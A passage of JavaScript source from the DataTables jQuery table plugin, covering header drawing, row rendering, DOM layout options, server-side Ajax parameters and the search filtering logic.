$(oSettings.nTHead).html( '' )[0].appendChild( nTr );
_fnDetectHeader( oSettings.aoHeader, oSettings.nTHead );
}
/* ARIA role for the rows */
$(oSettings.nTHead).children('tr').attr('role', 'row');
/* Add the extra markup needed by jQuery UI's themes */
if ( oSettings.bJUI )
{
for ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
nTh = oSettings.aoColumns[i].nTh;
var nDiv = document.createElement('div');
nDiv.className = oSettings.oClasses.sSortJUIWrapper;
$(nTh).contents().appendTo(nDiv);
var nSpan = document.createElement('span');
nSpan.className = oSettings.oClasses.sSortIcon;
nDiv.appendChild( nSpan );
nTh.appendChild( nDiv );
}
}
if ( oSettings.oFeatures.bSort )
{
for ( i=0 ; i<oSettings.aoColumns.length ; i++ )
{
if ( oSettings.aoColumns[i].bSortable !== false )
{
_fnSortAttachListener( oSettings, oSettings.aoColumns[i].nTh, i );
}
else
{
$(oSettings.aoColumns[i].nTh).addClass( oSettings.oClasses.sSortableNone );
}
}
}
/* Deal with the footer - add classes if required */
if ( oSettings.oClasses.sFooterTH !== "" )
{
$(oSettings.nTFoot).children('tr').children('th').addClass( oSettings.oClasses.sFooterTH );
}
/* Cache the footer elements */
if ( oSettings.nTFoot !== null )
{
var anCells = _fnGetUniqueThs( oSettings, null, oSettings.aoFooter );
for ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
if ( anCells[i] )
{
oSettings.aoColumns[i].nTf = anCells[i];
if ( oSettings.aoColumns[i].sClass )
{
$(anCells[i]).addClass( oSettings.aoColumns[i].sClass );
}
}
}
}
}
/**
* Draw the header (or footer) element based on the column visibility states. The
* methodology here is to use the layout array from _fnDetectHeader, modified for
* the instantaneous column visibility, to construct the new layout. The grid is
* traversed over cell at a time in a rows x columns grid fashion, although each
* cell insert can cover multiple elements in the grid - which is tracks using the
* aApplied array. Cell inserts in the grid will only occur where there isn't
* already a cell in that position.
* @param {object} oSettings dataTables settings object
* @param array {objects} aoSource Layout array from _fnDetectHeader
* @param {boolean} [bIncludeHidden=false] If true then include the hidden columns in the calc,
* @memberof DataTable#oApi
*/
function _fnDrawHead( oSettings, aoSource, bIncludeHidden )
{
var i, iLen, j, jLen, k, kLen, n, nLocalTr;
var aoLocal = [];
var aApplied = [];
var iColumns = oSettings.aoColumns.length;
var iRowspan, iColspan;
if ( bIncludeHidden === undefined )
{
bIncludeHidden = false;
}
/* Make a copy of the master layout array, but without the visible columns in it */
for ( i=0, iLen=aoSource.length ; i<iLen ; i++ )
{
aoLocal[i] = aoSource[i].slice();
aoLocal[i].nTr = aoSource[i].nTr;
/* Remove any columns which are currently hidden */
for ( j=iColumns-1 ; j>=0 ; j-- )
{
if ( !oSettings.aoColumns[j].bVisible && !bIncludeHidden )
{
aoLocal[i].splice( j, 1 );
}
}
/* Prep the applied array - it needs an element for each row */
aApplied.push( [] );
}
for ( i=0, iLen=aoLocal.length ; i<iLen ; i++ )
{
nLocalTr = aoLocal[i].nTr;
/* All cells are going to be replaced, so empty out the row */
if ( nLocalTr )
{
while( (n = nLocalTr.firstChild) )
{
nLocalTr.removeChild( n );
}
}
for ( j=0, jLen=aoLocal[i].length ; j<jLen ; j++ )
{
iRowspan = 1;
iColspan = 1;
/* Check to see if there is already a cell (row/colspan) covering our target
* insert point. If there is, then there is nothing to do.
*/
if ( aApplied[i][j] === undefined )
{
nLocalTr.appendChild( aoLocal[i][j].cell );
aApplied[i][j] = 1;
/* Expand the cell to cover as many rows as needed */
while ( aoLocal[i+iRowspan] !== undefined &&
aoLocal[i][j].cell == aoLocal[i+iRowspan][j].cell )
{
aApplied[i+iRowspan][j] = 1;
iRowspan++;
}
/* Expand the cell to cover as many columns as needed */
while ( aoLocal[i][j+iColspan] !== undefined &&
aoLocal[i][j].cell == aoLocal[i][j+iColspan].cell )
{
/* Must update the applied array over the rows for the columns */
for ( k=0 ; k<iRowspan ; k++ )
{
aApplied[i+k][j+iColspan] = 1;
}
iColspan++;
}
/* Do the actual expansion in the DOM */
aoLocal[i][j].cell.rowSpan = iRowspan;
aoLocal[i][j].cell.colSpan = iColspan;
}
}
}
}
/**
* Insert the required TR nodes into the table for display
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnDraw( oSettings )
{
/* Provide a pre-callback function which can be used to cancel the draw is false is returned */
var aPreDraw = _fnCallbackFire( oSettings, 'aoPreDrawCallback', 'preDraw', [oSettings] );
if ( $.inArray( false, aPreDraw ) !== -1 )
{
_fnProcessingDisplay( oSettings, false );
return;
}
var i, iLen, n;
var anRows = [];
var iRowCount = 0;
var iStripes = oSettings.asStripeClasses.length;
var iOpenRows = oSettings.aoOpenRows.length;
oSettings.bDrawing = true;
/* Check and see if we have an initial draw position from state saving */
if ( oSettings.iInitDisplayStart !== undefined && oSettings.iInitDisplayStart != -1 )
{
if ( oSettings.oFeatures.bServerSide )
{
oSettings._iDisplayStart = oSettings.iInitDisplayStart;
}
else
{
oSettings._iDisplayStart = (oSettings.iInitDisplayStart >= oSettings.fnRecordsDisplay()) ?
0 : oSettings.iInitDisplayStart;
}
oSettings.iInitDisplayStart = -1;
_fnCalculateEnd( oSettings );
}
/* Server-side processing draw intercept */
if ( oSettings.bDeferLoading )
{
oSettings.bDeferLoading = false;
oSettings.iDraw++;
}
else if ( !oSettings.oFeatures.bServerSide )
{
oSettings.iDraw++;
}
else if ( !oSettings.bDestroying && !_fnAjaxUpdate( oSettings ) )
{
return;
}
if ( oSettings.aiDisplay.length !== 0 )
{
var iStart = oSettings._iDisplayStart;
var iEnd = oSettings._iDisplayEnd;
if ( oSettings.oFeatures.bServerSide )
{
iStart = 0;
iEnd = oSettings.aoData.length;
}
for ( var j=iStart ; j<iEnd ; j++ )
{
var aoData = oSettings.aoData[ oSettings.aiDisplay[j] ];
if ( aoData.nTr === null )
{
_fnCreateTr( oSettings, oSettings.aiDisplay[j] );
}
var nRow = aoData.nTr;
/* Remove the old striping classes and then add the new one */
if ( iStripes !== 0 )
{
var sStripe = oSettings.asStripeClasses[ iRowCount % iStripes ];
if ( aoData._sRowStripe != sStripe )
{
$(nRow).removeClass( aoData._sRowStripe ).addClass( sStripe );
aoData._sRowStripe = sStripe;
}
}
/* Row callback functions - might want to manipulate the row */
_fnCallbackFire( oSettings, 'aoRowCallback', null,
[nRow, oSettings.aoData[ oSettings.aiDisplay[j] ]._aData, iRowCount, j] );
anRows.push( nRow );
iRowCount++;
/* If there is an open row - and it is attached to this parent - attach it on redraw */
if ( iOpenRows !== 0 )
{
for ( var k=0 ; k<iOpenRows ; k++ )
{
if ( nRow == oSettings.aoOpenRows[k].nParent )
{
anRows.push( oSettings.aoOpenRows[k].nTr );
break;
}
}
}
}
}
else
{
/* Table is empty - create a row with an empty message in it */
anRows[ 0 ] = document.createElement( 'tr' );
if ( oSettings.asStripeClasses[0] )
{
anRows[ 0 ].className = oSettings.asStripeClasses[0];
}
var oLang = oSettings.oLanguage;
var sZero = oLang.sZeroRecords;
if ( oSettings.iDraw == 1 && oSettings.sAjaxSource !== null && !oSettings.oFeatures.bServerSide )
{
sZero = oLang.sLoadingRecords;
}
else if ( oLang.sEmptyTable && oSettings.fnRecordsTotal() === 0 )
{
sZero = oLang.sEmptyTable;
}
var nTd = document.createElement( 'td' );
nTd.setAttribute( 'valign', "top" );
nTd.colSpan = _fnVisbleColumns( oSettings );
nTd.className = oSettings.oClasses.sRowEmpty;
nTd.innerHTML = _fnInfoMacros( oSettings, sZero );
anRows[ iRowCount ].appendChild( nTd );
}
/* Header and footer callbacks */
_fnCallbackFire( oSettings, 'aoHeaderCallback', 'header', [ $(oSettings.nTHead).children('tr')[0],
_fnGetDataMaster( oSettings ), oSettings._iDisplayStart, oSettings.fnDisplayEnd(), oSettings.aiDisplay ] );
_fnCallbackFire( oSettings, 'aoFooterCallback', 'footer', [ $(oSettings.nTFoot).children('tr')[0],
_fnGetDataMaster( oSettings ), oSettings._iDisplayStart, oSettings.fnDisplayEnd(), oSettings.aiDisplay ] );
/*
* Need to remove any old row from the display - note we can't just empty the tbody using
* $().html('') since this will unbind the jQuery event handlers (even although the node
* still exists!) - equally we can't use innerHTML, since IE throws an exception.
*/
var
nAddFrag = document.createDocumentFragment(),
nRemoveFrag = document.createDocumentFragment(),
nBodyPar, nTrs;
if ( oSettings.nTBody )
{
nBodyPar = oSettings.nTBody.parentNode;
nRemoveFrag.appendChild( oSettings.nTBody );
/* When doing infinite scrolling, only remove child rows when sorting, filtering or start
* up. When not infinite scroll, always do it.
*/
if ( !oSettings.oScroll.bInfinite || !oSettings._bInitComplete ||
oSettings.bSorted || oSettings.bFiltered )
{
while( (n = oSettings.nTBody.firstChild) )
{
oSettings.nTBody.removeChild( n );
}
}
/* Put the draw table into the dom */
for ( i=0, iLen=anRows.length ; i<iLen ; i++ )
{
nAddFrag.appendChild( anRows[i] );
}
oSettings.nTBody.appendChild( nAddFrag );
if ( nBodyPar !== null )
{
nBodyPar.appendChild( oSettings.nTBody );
}
}
/* Call all required callback functions for the end of a draw */
_fnCallbackFire( oSettings, 'aoDrawCallback', 'draw', [oSettings] );
/* Draw is complete, sorting and filtering must be as well */
oSettings.bSorted = false;
oSettings.bFiltered = false;
oSettings.bDrawing = false;
if ( oSettings.oFeatures.bServerSide )
{
_fnProcessingDisplay( oSettings, false );
if ( !oSettings._bInitComplete )
{
_fnInitComplete( oSettings );
}
}
}
/**
* Redraw the table - taking account of the various features which are enabled
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnReDraw( oSettings )
{
if ( oSettings.oFeatures.bSort )
{
/* Sorting will refilter and draw for us */
_fnSort( oSettings, oSettings.oPreviousSearch );
}
else if ( oSettings.oFeatures.bFilter )
{
/* Filtering will redraw for us */
_fnFilterComplete( oSettings, oSettings.oPreviousSearch );
}
else
{
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
}
}
/**
* Add the options to the page HTML for the table
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnAddOptionsHtml ( oSettings )
{
/*
* Create a temporary, empty, div which we can later on replace with what we have generated
* we do it this way to rendering the 'options' html offline - speed :-)
*/
var nHolding = $('<div></div>')[0];
oSettings.nTable.parentNode.insertBefore( nHolding, oSettings.nTable );
/*
* All DataTables are wrapped in a div
*/
oSettings.nTableWrapper = $('<div id="'+oSettings.sTableId+'_wrapper" class="'+oSettings.oClasses.sWrapper+'" role="grid"></div>')[0];
oSettings.nTableReinsertBefore = oSettings.nTable.nextSibling;
/* Track where we want to insert the option */
var nInsertNode = oSettings.nTableWrapper;
/* Loop over the user set positioning and place the elements as needed */
var aDom = oSettings.sDom.split('');
var nTmp, iPushFeature, cOption, nNewNode, cNext, sAttr, j;
for ( var i=0 ; i<aDom.length ; i++ )
{
iPushFeature = 0;
cOption = aDom[i];
if ( cOption == '<' )
{
/* New container div */
nNewNode = $('<div></div>')[0];
/* Check to see if we should append an id and/or a class name to the container */
cNext = aDom[i+1];
if ( cNext == "'" || cNext == '"' )
{
sAttr = "";
j = 2;
while ( aDom[i+j] != cNext )
{
sAttr += aDom[i+j];
j++;
}
/* Replace jQuery UI constants */
if ( sAttr == "H" )
{
sAttr = oSettings.oClasses.sJUIHeader;
}
else if ( sAttr == "F" )
{
sAttr = oSettings.oClasses.sJUIFooter;
}
/* The attribute can be in the format of "#id.class", "#id" or "class" This logic
* breaks the string into parts and applies them as needed
*/
if ( sAttr.indexOf('.') != -1 )
{
var aSplit = sAttr.split('.');
nNewNode.id = aSplit[0].substr(1, aSplit[0].length-1);
nNewNode.className = aSplit[1];
}
else if ( sAttr.charAt(0) == "#" )
{
nNewNode.id = sAttr.substr(1, sAttr.length-1);
}
else
{
nNewNode.className = sAttr;
}
i += j; /* Move along the position array */
}
nInsertNode.appendChild( nNewNode );
nInsertNode = nNewNode;
}
else if ( cOption == '>' )
{
/* End container div */
nInsertNode = nInsertNode.parentNode;
}
else if ( cOption == 'l' && oSettings.oFeatures.bPaginate && oSettings.oFeatures.bLengthChange )
{
/* Length */
nTmp = _fnFeatureHtmlLength( oSettings );
iPushFeature = 1;
}
else if ( cOption == 'f' && oSettings.oFeatures.bFilter )
{
/* Filter */
nTmp = _fnFeatureHtmlFilter( oSettings );
iPushFeature = 1;
}
else if ( cOption == 'r' && oSettings.oFeatures.bProcessing )
{
/* pRocessing */
nTmp = _fnFeatureHtmlProcessing( oSettings );
iPushFeature = 1;
}
else if ( cOption == 't' )
{
/* Table */
nTmp = _fnFeatureHtmlTable( oSettings );
iPushFeature = 1;
}
else if ( cOption == 'i' && oSettings.oFeatures.bInfo )
{
/* Info */
nTmp = _fnFeatureHtmlInfo( oSettings );
iPushFeature = 1;
}
else if ( cOption == 'p' && oSettings.oFeatures.bPaginate )
{
/* Pagination */
nTmp = _fnFeatureHtmlPaginate( oSettings );
iPushFeature = 1;
}
else if ( DataTable.ext.aoFeatures.length !== 0 )
{
/* Plug-in features */
var aoFeatures = DataTable.ext.aoFeatures;
for ( var k=0, kLen=aoFeatures.length ; k<kLen ; k++ )
{
if ( cOption == aoFeatures[k].cFeature )
{
nTmp = aoFeatures[k].fnInit( oSettings );
if ( nTmp )
{
iPushFeature = 1;
}
break;
}
}
}
/* Add to the 2D features array */
if ( iPushFeature == 1 && nTmp !== null )
{
if ( typeof oSettings.aanFeatures[cOption] !== 'object' )
{
oSettings.aanFeatures[cOption] = [];
}
oSettings.aanFeatures[cOption].push( nTmp );
nInsertNode.appendChild( nTmp );
}
}
/* Built our DOM structure - replace the holding div with what we want */
nHolding.parentNode.replaceChild( oSettings.nTableWrapper, nHolding );
}
/**
* Use the DOM source to create up an array of header cells. The idea here is to
* create a layout grid (array) of rows x columns, which contains a reference
* to the cell that that point in the grid (regardless of col/rowspan), such that
* any column / row could be removed and the new grid constructed
* @param array {object} aLayout Array to store the calculated layout in
* @param {node} nThead The header/footer element for the table
* @memberof DataTable#oApi
*/
function _fnDetectHeader ( aLayout, nThead )
{
var nTrs = $(nThead).children('tr');
var nTr, nCell;
var i, k, l, iLen, jLen, iColShifted, iColumn, iColspan, iRowspan;
var bUnique;
var fnShiftCol = function ( a, i, j ) {
var k = a[i];
while ( k[j] ) {
j++;
}
return j;
};
aLayout.splice( 0, aLayout.length );
/* We know how many rows there are in the layout - so prep it */
for ( i=0, iLen=nTrs.length ; i<iLen ; i++ )
{
aLayout.push( [] );
}
/* Calculate a layout array */
for ( i=0, iLen=nTrs.length ; i<iLen ; i++ )
{
nTr = nTrs[i];
iColumn = 0;
/* For every cell in the row... */
nCell = nTr.firstChild;
while ( nCell ) {
if ( nCell.nodeName.toUpperCase() == "TD" ||
nCell.nodeName.toUpperCase() == "TH" )
{
/* Get the col and rowspan attributes from the DOM and sanitise them */
iColspan = nCell.getAttribute('colspan') * 1;
iRowspan = nCell.getAttribute('rowspan') * 1;
iColspan = (!iColspan || iColspan===0 || iColspan===1) ? 1 : iColspan;
iRowspan = (!iRowspan || iRowspan===0 || iRowspan===1) ? 1 : iRowspan;
/* There might be colspan cells already in this row, so shift our target
* accordingly
*/
iColShifted = fnShiftCol( aLayout, i, iColumn );
/* Cache calculation for unique columns */
bUnique = iColspan === 1 ? true : false;
/* If there is col / rowspan, copy the information into the layout grid */
for ( l=0 ; l<iColspan ; l++ )
{
for ( k=0 ; k<iRowspan ; k++ )
{
aLayout[i+k][iColShifted+l] = {
"cell": nCell,
"unique": bUnique
};
aLayout[i+k].nTr = nTr;
}
}
}
nCell = nCell.nextSibling;
}
}
}
/**
* Get an array of unique th elements, one for each column
* @param {object} oSettings dataTables settings object
* @param {node} nHeader automatically detect the layout from this node - optional
* @param {array} aLayout thead/tfoot layout from _fnDetectHeader - optional
* @returns array {node} aReturn list of unique th's
* @memberof DataTable#oApi
*/
function _fnGetUniqueThs ( oSettings, nHeader, aLayout )
{
var aReturn = [];
if ( !aLayout )
{
aLayout = oSettings.aoHeader;
if ( nHeader )
{
aLayout = [];
_fnDetectHeader( aLayout, nHeader );
}
}
for ( var i=0, iLen=aLayout.length ; i<iLen ; i++ )
{
for ( var j=0, jLen=aLayout[i].length ; j<jLen ; j++ )
{
if ( aLayout[i][j].unique &&
(!aReturn[j] || !oSettings.bSortCellsTop) )
{
aReturn[j] = aLayout[i][j].cell;
}
}
}
return aReturn;
}
/**
* Update the table using an Ajax call
* @param {object} oSettings dataTables settings object
* @returns {boolean} Block the table drawing or not
* @memberof DataTable#oApi
*/
function _fnAjaxUpdate( oSettings )
{
if ( oSettings.bAjaxDataGet )
{
oSettings.iDraw++;
_fnProcessingDisplay( oSettings, true );
var iColumns = oSettings.aoColumns.length;
var aoData = _fnAjaxParameters( oSettings );
_fnServerParams( oSettings, aoData );
oSettings.fnServerData.call( oSettings.oInstance, oSettings.sAjaxSource, aoData,
function(json) {
_fnAjaxUpdateDraw( oSettings, json );
}, oSettings );
return false;
}
else
{
return true;
}
}
/**
* Build up the parameters in an object needed for a server-side processing request
* @param {object} oSettings dataTables settings object
* @returns {bool} block the table drawing or not
* @memberof DataTable#oApi
*/
function _fnAjaxParameters( oSettings )
{
var iColumns = oSettings.aoColumns.length;
var aoData = [], mDataProp, aaSort, aDataSort;
var i, j;
aoData.push( { "name": "sEcho", "value": oSettings.iDraw } );
aoData.push( { "name": "iColumns", "value": iColumns } );
aoData.push( { "name": "sColumns", "value": _fnColumnOrdering(oSettings) } );
aoData.push( { "name": "iDisplayStart", "value": oSettings._iDisplayStart } );
aoData.push( { "name": "iDisplayLength", "value": oSettings.oFeatures.bPaginate !== false ?
oSettings._iDisplayLength : -1 } );
for ( i=0 ; i<iColumns ; i++ )
{
mDataProp = oSettings.aoColumns[i].mData;
aoData.push( { "name": "mDataProp_"+i, "value": typeof(mDataProp)==="function" ? 'function' : mDataProp } );
}
/* Filtering */
if ( oSettings.oFeatures.bFilter !== false )
{
aoData.push( { "name": "sSearch", "value": oSettings.oPreviousSearch.sSearch } );
aoData.push( { "name": "bRegex", "value": oSettings.oPreviousSearch.bRegex } );
for ( i=0 ; i<iColumns ; i++ )
{
aoData.push( { "name": "sSearch_"+i, "value": oSettings.aoPreSearchCols[i].sSearch } );
aoData.push( { "name": "bRegex_"+i, "value": oSettings.aoPreSearchCols[i].bRegex } );
aoData.push( { "name": "bSearchable_"+i, "value": oSettings.aoColumns[i].bSearchable } );
}
}
/* Sorting */
if ( oSettings.oFeatures.bSort !== false )
{
var iCounter = 0;
aaSort = ( oSettings.aaSortingFixed !== null ) ?
oSettings.aaSortingFixed.concat( oSettings.aaSorting ) :
oSettings.aaSorting.slice();
for ( i=0 ; i<aaSort.length ; i++ )
{
aDataSort = oSettings.aoColumns[ aaSort[i][0] ].aDataSort;
for ( j=0 ; j<aDataSort.length ; j++ )
{
aoData.push( { "name": "iSortCol_"+iCounter, "value": aDataSort[j] } );
aoData.push( { "name": "sSortDir_"+iCounter, "value": aaSort[i][1] } );
iCounter++;
}
}
aoData.push( { "name": "iSortingCols", "value": iCounter } );
for ( i=0 ; i<iColumns ; i++ )
{
aoData.push( { "name": "bSortable_"+i, "value": oSettings.aoColumns[i].bSortable } );
}
}
return aoData;
}
/**
* Add Ajax parameters from plug-ins
* @param {object} oSettings dataTables settings object
* @param array {objects} aoData name/value pairs to send to the server
* @memberof DataTable#oApi
*/
function _fnServerParams( oSettings, aoData )
{
_fnCallbackFire( oSettings, 'aoServerParams', 'serverParams', [aoData] );
}
/**
* Data the data from the server (nuking the old) and redraw the table
* @param {object} oSettings dataTables settings object
* @param {object} json json data return from the server.
* @param {string} json.sEcho Tracking flag for DataTables to match requests
* @param {int} json.iTotalRecords Number of records in the data set, not accounting for filtering
* @param {int} json.iTotalDisplayRecords Number of records in the data set, accounting for filtering
* @param {array} json.aaData The data to display on this page
* @param {string} [json.sColumns] Column ordering (sName, comma separated)
* @memberof DataTable#oApi
*/
function _fnAjaxUpdateDraw ( oSettings, json )
{
if ( json.sEcho !== undefined )
{
/* Protect against old returns over-writing a new one. Possible when you get
* very fast interaction, and later queries are completed much faster
*/
if ( json.sEcho*1 < oSettings.iDraw )
{
return;
}
else
{
oSettings.iDraw = json.sEcho * 1;
}
}
if ( !oSettings.oScroll.bInfinite ||
(oSettings.oScroll.bInfinite && (oSettings.bSorted || oSettings.bFiltered)) )
{
_fnClearTable( oSettings );
}
oSettings._iRecordsTotal = parseInt(json.iTotalRecords, 10);
oSettings._iRecordsDisplay = parseInt(json.iTotalDisplayRecords, 10);
/* Determine if reordering is required */
var sOrdering = _fnColumnOrdering(oSettings);
var bReOrder = (json.sColumns !== undefined && sOrdering !== "" && json.sColumns != sOrdering );
var aiIndex;
if ( bReOrder )
{
aiIndex = _fnReOrderIndex( oSettings, json.sColumns );
}
var aData = _fnGetObjectDataFn( oSettings.sAjaxDataProp )( json );
for ( var i=0, iLen=aData.length ; i<iLen ; i++ )
{
if ( bReOrder )
{
/* If we need to re-order, then create a new array with the correct order and add it */
var aDataSorted = [];
for ( var j=0, jLen=oSettings.aoColumns.length ; j<jLen ; j++ )
{
aDataSorted.push( aData[i][ aiIndex[j] ] );
}
_fnAddData( oSettings, aDataSorted );
}
else
{
/* No re-order required, sever got it "right" - just straight add */
_fnAddData( oSettings, aData[i] );
}
}
oSettings.aiDisplay = oSettings.aiDisplayMaster.slice();
oSettings.bAjaxDataGet = false;
_fnDraw( oSettings );
oSettings.bAjaxDataGet = true;
_fnProcessingDisplay( oSettings, false );
}
/**
* Generate the node required for filtering text
* @returns {node} Filter control element
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnFeatureHtmlFilter ( oSettings )
{
var oPreviousSearch = oSettings.oPreviousSearch;
var sSearchStr = oSettings.oLanguage.sSearch;
sSearchStr = (sSearchStr.indexOf('_INPUT_') !== -1) ?
sSearchStr.replace('_INPUT_', '<input class="form-control" placeholder="Filter" type="text">') :
sSearchStr==="" ? '<input type="text" />' : sSearchStr+' <input type="text" />';
var nFilter = document.createElement( 'div' );
nFilter.className = oSettings.oClasses.sFilter;
nFilter.innerHTML = '<div class="input-group"><span class="input-group-addon"><i class="fa fa-search"></i></span>'+sSearchStr+'</div>';
if ( !oSettings.aanFeatures.f )
{
nFilter.id = oSettings.sTableId+'_filter';
}
var jqFilter = $('input[type="text"]', nFilter);
// Store a reference to the input element, so other input elements could be
// added to the filter wrapper if needed (submit button for example)
nFilter._DT_Input = jqFilter[0];
jqFilter.val( oPreviousSearch.sSearch.replace('"','"') );
jqFilter.bind( 'keyup.DT', function(e) {
/* Update all other filter input elements for the new display */
var n = oSettings.aanFeatures.f;
var val = this.value==="" ? "" : this.value; // mental IE8 fix :-(
for ( var i=0, iLen=n.length ; i<iLen ; i++ )
{
if ( n[i] != $(this).parents('div.dataTables_filter')[0] )
{
$(n[i]._DT_Input).val( val );
}
}
/* Now do the filter */
if ( val != oPreviousSearch.sSearch )
{
_fnFilterComplete( oSettings, {
"sSearch": val,
"bRegex": oPreviousSearch.bRegex,
"bSmart": oPreviousSearch.bSmart ,
"bCaseInsensitive": oPreviousSearch.bCaseInsensitive
} );
}
} );
jqFilter
.attr('aria-controls', oSettings.sTableId)
.bind( 'keypress.DT', function(e) {
/* Prevent form submission */
if ( e.keyCode == 13 )
{
return false;
}
}
);
return nFilter;
}
/**
* Filter the table using both the global filter and column based filtering
* @param {object} oSettings dataTables settings object
* @param {object} oSearch search information
* @param {int} [iForce] force a research of the master array (1) or not (undefined or 0)
* @memberof DataTable#oApi
*/
function _fnFilterComplete ( oSettings, oInput, iForce )
{
var oPrevSearch = oSettings.oPreviousSearch;
var aoPrevSearch = oSettings.aoPreSearchCols;
var fnSaveFilter = function ( oFilter ) {
/* Save the filtering values */
oPrevSearch.sSearch = oFilter.sSearch;
oPrevSearch.bRegex = oFilter.bRegex;
oPrevSearch.bSmart = oFilter.bSmart;
oPrevSearch.bCaseInsensitive = oFilter.bCaseInsensitive;
};
/* In server-side processing all filtering is done by the server, so no point hanging around here */
if ( !oSettings.oFeatures.bServerSide )
{
/* Global filter */
_fnFilter( oSettings, oInput.sSearch, iForce, oInput.bRegex, oInput.bSmart, oInput.bCaseInsensitive );
fnSaveFilter( oInput );
/* Now do the individual column filter */
for ( var i=0 ; i<oSettings.aoPreSearchCols.length ; i++ )
{
_fnFilterColumn( oSettings, aoPrevSearch[i].sSearch, i, aoPrevSearch[i].bRegex,
aoPrevSearch[i].bSmart, aoPrevSearch[i].bCaseInsensitive );
}
/* Custom filtering */
_fnFilterCustom( oSettings );
}
else
{
fnSaveFilter( oInput );
}
/* Tell the draw function we have been filtering */
oSettings.bFiltered = true;
$(oSettings.oInstance).trigger('filter', oSettings);
/* Redraw the table */
oSettings._iDisplayStart = 0;
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
/* Rebuild search array 'offline' */
_fnBuildSearchArray( oSettings, 0 );
}
/**
* Apply custom filtering functions
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnFilterCustom( oSettings )
{
var afnFilters = DataTable.ext.afnFiltering;
var aiFilterColumns = _fnGetColumns( oSettings, 'bSearchable' );
for ( var i=0, iLen=afnFilters.length ; i<iLen ; i++ )
{
var iCorrector = 0;
for ( var j=0, jLen=oSettings.aiDisplay.length ; j<jLen ; j++ )
{
var iDisIndex = oSettings.aiDisplay[j-iCorrector];
var bTest = afnFilters[i](
oSettings,
_fnGetRowData( oSettings, iDisIndex, 'filter', aiFilterColumns ),
iDisIndex
);
/* Check if we should use this row based on the filtering function */
if ( !bTest )
{
oSettings.aiDisplay.splice( j-iCorrector, 1 );
iCorrector++;
}
}
}
}
/**
* Filter the table on a per-column basis
* @param {object} oSettings dataTables settings object
* @param {string} sInput string to filter on
* @param {int} iColumn column to filter
* @param {bool} bRegex treat search string as a regular expression or not
* @param {bool} bSmart use smart filtering or not
* @param {bool} bCaseInsensitive Do case insenstive matching or not
* @memberof DataTable#oApi
*/
function _fnFilterColumn ( oSettings, sInput, iColumn, bRegex, bSmart, bCaseInsensitive )
{
if ( sInput === "" )
{
return;
}
var iIndexCorrector = 0;
var rpSearch = _fnFilterCreateSearch( sInput, bRegex, bSmart, bCaseInsensitive );
for ( var i=oSettings.aiDisplay.length-1 ; i>=0 ; i-- )
{
var sData = _fnDataToSearch( _fnGetCellData( oSettings, oSettings.aiDisplay[i], iColumn, 'filter' ),
oSettings.aoColumns[iColumn].sType );
if ( ! rpSearch.test( sData ) )
{
oSettings.aiDisplay.splice( i, 1 );
iIndexCorrector++;
}
}
}
/**
* Filter the data table based on user input and draw the table
* @param {object} oSettings dataTables settings object
* @param {string} sInput string to filter on
* @param {int} iForce optional - force a research of the master array (1) or not (undefined or 0)
* @param {bool} bRegex treat as a regular expression or not
* @param {bool} bSmart perform smart filtering or not
* @param {bool} bCaseInsensitive Do case insenstive matching or not
* @memberof DataTable#oApi
*/
function _fnFilter( oSettings, sInput, iForce, bRegex, bSmart, bCaseInsensitive )
{
var i;
var rpSearch = _fnFilterCreateSearch( sInput, bRegex, bSmart, bCaseInsensitive );
var oPrevSearch = oSettings.oPreviousSearch;
/* Check if we are forcing or not - optional parameter */
if ( !iForce )
{
iForce = 0;
}
/* Need to take account of custom filtering functions - always filter */
if ( DataTable.ext.afnFiltering.length !== 0 )
{
iForce = 1;
}
/*
* If the input is blank - we want the full data set
*/
if ( sInput.length <= 0 )
{
oSettings.aiDisplay.splice( 0, oSettings.aiDisplay.length);
oSettings.aiDisplay = oSettings.aiDisplayMaster.slice();
}
else
{
/*
* We are starting a new search or the new search string is smaller
* then the old one (i.e. delete). Search from the master array
*/
if ( oSettings.aiDisplay.length == oSettings.aiDisplayMaster.length ||
oPrevSearch.sSearch.length > sInput.length || iForce == 1 ||
sInput.indexOf(oPrevSearch.sSearch) !== 0 )
{
/* Nuke the old display array - we are going to rebuild it */
oSettings.aiDisplay.splice( 0, oSettings.aiDisplay.length);
/* Force a rebuild of the search array */
_fnBuildSearchArray( oSettings, 1 );
/* Search through all records to populate the search array
* The the oSettings.aiDisplayMaster and asDataSearch arrays have 1 to 1
* mapping
*/
for ( i=0 ; i<oSettings.aiDisplayMaster.length ; i++ )
{
if ( rpSearch.test(oSettings.asDataSearch[i]) )
{
oSettings.aiDisplay.push( oSettings.aiDisplayMaster[i] );
}
}
}
else
{
/* Using old search array - refine it - do it this way for speed
* Don't have to search the whole master array again
*/
var iIndexCorrector = 0;
/* Search the current results */
for ( i=0 ; i<oSettings.asDataSearch.length ; i++ )
{
if ( ! rpSearch.test(oSettings.asDataSearch[i]) )
{
oSettings.aiDisplay.splice( i-iIndexCorrector, 1 );
iIndexCorrector++;
}
}
}
}
}
/**
* Create an array which can be quickly search through
* @param {object} oSettings dataTables settings object
* @param {int} iMaster use the master data array - optional
* @memberof DataTable#oApi
*/
function _fnBuildSearchArray ( oSettings, iMaster )
{
if ( !oSettings.oFeatures.bServerSide )
{
/* Clear out the old data */
oSettings.asDataSearch = [];
var aiFilterColumns = _fnGetColumns( oSettings, 'bSearchable' );
var aiIndex = (iMaster===1) ?
oSettings.aiDisplayMaster :
oSettings.aiDisplay;
for ( var i=0, iLen=aiIndex.length ; i<iLen ; i++ )
{
oSettings.asDataSearch[i] = _fnBuildSearchRow(
oSettings,
_fnGetRowData( oSettings, aiIndex[i], 'filter', aiFilterColumns )
);
}
}
}
/**
* Create a searchable string from a single data row
* @param {object} oSettings dataTables settings object
* @param {array} aData Row data array to use for the data to search
* @memberof DataTable#oApi
*/
function _fnBuildSearchRow( oSettings, aData )
{
var sSearch = aData.join(' ');
/* If it looks like there is an HTML entity in the string, attempt to decode it */
if ( sSearch.indexOf('&') !== -1 )
{
sSearch = $('<div>').html(sSearch).text();
}
// Strip newline characters
return sSearch.replace( /[\n\r]/g, " " );
}
